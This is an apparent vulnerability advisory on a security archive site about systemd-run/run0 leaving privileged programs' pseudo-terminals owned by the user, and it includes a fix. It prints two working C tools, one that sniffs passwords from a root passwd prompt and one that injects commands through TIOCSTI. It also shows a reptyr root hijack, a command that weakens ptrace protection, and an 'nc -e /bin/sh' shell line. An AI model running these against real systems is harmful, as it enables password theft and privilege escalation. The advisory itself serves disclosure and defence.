Systemd Insecure PTY Handling

2024.05.06
Credit: Adam Gowdiak
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Systemd Insecure PTY Handling Vulnerability =========================================== CVSSv3.BaseScore: 5.8 CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N Short Description ================= Systemd-run/run0 allocates user-owned pty's and attaches the slave to high privilege programs without changing ownership or locking the pty slave. Description =========== Systemd-run/run0 is working towards a "sudo"-like replacement for v256 that is based on the existing policykit and d-bus based "systemd-run" transient service execution. The code in "src/run/run.c" on line 1673 creates a PTY master and slave used for this process, and the slave name is passed to unlockpt() on line 1689. This allows any process to connect to e.g. "/dev/pts/4" slave interface, this interface is created under the local user context executing "systemd-run". The code subsequently uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication by policykit is approved, the slave end of the pty created will be attached to the privileged executed program. As the slave interface is not locked to the privilege level of the newly executed process, a vulnerability is introduced to the system as any same-user process can now interact with the slave end of the root program. Exploitation ============ This issue can be exploited by opening a handle to the slave interface and using terminal I/O routines such as read() to access the input of the root program. Slave PTY's are not designed for multiple programs to access them and this has the unintended effect of redirecting input intended for the privileged program back to unprivileged processes, an example code "ptysniff.c" is provided here and terminal output that shows the issue being used to read input from a systemd-run executed "passwd" program, returning the password intended for the root program back to the local user. User Terminal ============= The user executes systemd with "--pty" to allocate a new "root" pty and execute "passwd" in the new terminal. fantastic@fantastic-pc /dev/pts  systemd-run --pty passwd ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u63.service Press ^] three times within 1s to disconnect TTY. New password: Retype new password: Attacker Terminal ================= The slave end of the systemd-run terminal is still owned by the local user context, "/dev/pts/5" in the example above - allowing ptysniff to read the password input intended to be sent to "passwd". fantastic@fantastic-pc  /Work/voldermort  ls -al /dev/pts/5 Permissions Size User Date Modified Name crw--w---- 136,5 fantastic 4 May 08:51  /dev/pts/5 fantastic@fantastic-pc  /Work/voldermort  ./ptysniff /dev/pts/5 Received: p Received: a Received: s Received: s Received: w Received: o Received: r Received: d Received: /* ptysniff.c - read from a slave pts used by a higher privileged program */ #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #define BUF_SIZE 1024 int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <pts>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR | O_NOCTTY); if (fd == -1) { perror("open"); return 1; } char buf[BUF_SIZE]; ssize_t numRead; while (1) { if (flock(fd, LOCK_EX) == -1) { perror("flock"); return 1; } numRead = read(fd, buf, BUF_SIZE - 1); if (numRead == -1) { perror("read"); return 1; } for (int i = 0; i < numRead; i++) { printf("Received: %c\n", buf[i]); } if (flock(fd, LOCK_UN) == -1) { perror("flock"); return 1; } } return 0; } Recommendation ============== It is recommended the systemd-run created pty slave interface is chown()'d to the same user as the privileged execution context that it operates, this would result in "permission denied" when attempting to attach another program to the slave end of the pty. Additional Information ====================== In addition to the vulnerability outlined above, it is possible to exploit the problem to execute commands or completely hijack the root owned program from the same-user context when other conditions are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a protection that limits the use of ptrace for debugging purposes. With ptrace_classic set to enabled, such as with the following command. "echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope" It is possible to simply read the master fd for the pty from the "systemd-run" application, and re-parent a process to use the master end - hijacking the root program which would not be accessible to ptrace. This can be done with GDB (set inferior tty) or a tool such as "reptyr". User Terminal ============= fantastic@fantastic-pc  /Work/systemd   main   systemd-run --shell Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1 Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc systemd]# Attacker Terminal ================= fantastic@fantastic-pc  /Work/systemd   main   ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) /dev/pts/1 fantastic@fantastic-pc  /Work/systemd   main   reptyr -T 5541 [root@fantastic-pc systemd]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc systemd]# tty /dev/pts/0 Enabling ptrace_classic should not result in "root" permissions to unprivileged users, many operating systems support debugging applications and can do so without immediately giving away Administrative rights, YAMA is intended to provide this protection. However, sessions and terminals started under "SSHD" for instance are protected against these attacks through use of "prctl()" to prevent ptrace_attach from connecting to the process, preventing them being read even with ptrace_classic. This issue can also impact "su" and "sudo" and is a wider problem in Linux when ptrace_classic is enabled. Ensure that production systems do not support the use of ptrace_classic. Another path of exploitation can also be undertaken by an attacker when ptrace_classic is disabled, however they must be able to re-parent their tty or have control of execution of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically required only the same user-context to access the tty, however to limit these attacks Linux now requires the process calling the ioctl() to be a descendant of the parent process using the pty or have the pty set as its controlling terminal. An example is shown here, an attacker uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run by the parent. The source code for ptypwn.c is provided. User Terminal ============= fantastic@fantastic-pc    tty /dev/pts/3 fantastic@fantastic-pc    nc -e /bin/sh localhost 1337 & [1] 6926   fantastic@fantastic-pc    systemd-run --shell ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u100.service Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# Attacker Terminal ================= fantastic@fantastic-pc  /Work/voldermort  nc -v -v -l -p 1337 Listening on any address 1337 (menandmice-dns) Connection from 127.0.0.1:49282 tty;id not a tty uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) ./ptypwn /dev/pts/3 ./ptypwn /dev/pts/3 ./ptypwn /dev/pts/3 /* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <pts>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return -1; } char *x = "id\n"; while (*x != 0) { int ret = ioctl(fd, TIOCSTI, x); if (ret == -1) { perror("ioctl()"); } x++; } return 0; } Additionally systemd-run supports a "--pipe" operation which will simply connect the privileged process to the same-user parent tty directly, this option should be removed entirely as it offers no protection against the attacks outlined above. PolicyKit / sudoer Configuration Discrepancy ============================================ It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux environments where users are not permitted to execute commands through "sudo" but are permitted to execute commands through policykit services such as "systemd-run". This can lead to attackers who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run". An example of this configuration error can be seen below, as "systemd-run" proposes to become a "sudo" replacement, this issue has been included for completeness and for system administrators to review their sudo and policykit configurations to ensure such discrepancies do not exist. fantastic@fantastic-pc    sudo su - fantastic is not in the sudoers file.   fantastic@fantastic-pc    systemd-run --shell ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) TLDR; Conclusion ================ Systemd-run/run0 should chown() the created slave pty interface to the same user context using the pty, this will limit privilege escalation opportunities within the system and address the medium risk issue highlighted at the start of this advisory. The additional information in this advisory discusses wider Linux pty security handling issues, insecure configurations and thier exploitation naunces that can be leveraged for privilege escalation attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain elevated rights through insecure pipe handlers were quickly addressed. It is also noted that despite the insecure system configurations, applications such as "SSHD" protect against some of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown() is recommended, the Linux community should take note that the attacker threatscape has changed significantly with a renewed interest in targetting these systems by adversaries - consideration should be given to hardening PTY/TTY handling processes and protection against ptrace_classic regardless when privileged system operations take place. Attackers are less likely to use on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the requested permissions at a later date without touching disk from implants or other malicious code that has obtained execution in the contexts described above. In relation to security boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to persitent. This means that every request to systemd-run for elevation should present the user with a password prompt, by exploiting this issue the elevation request behaves as persistent for the lifecycle of the elevated program. -- Hacker Fantastic 04/05/2024 https://hacker.house


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top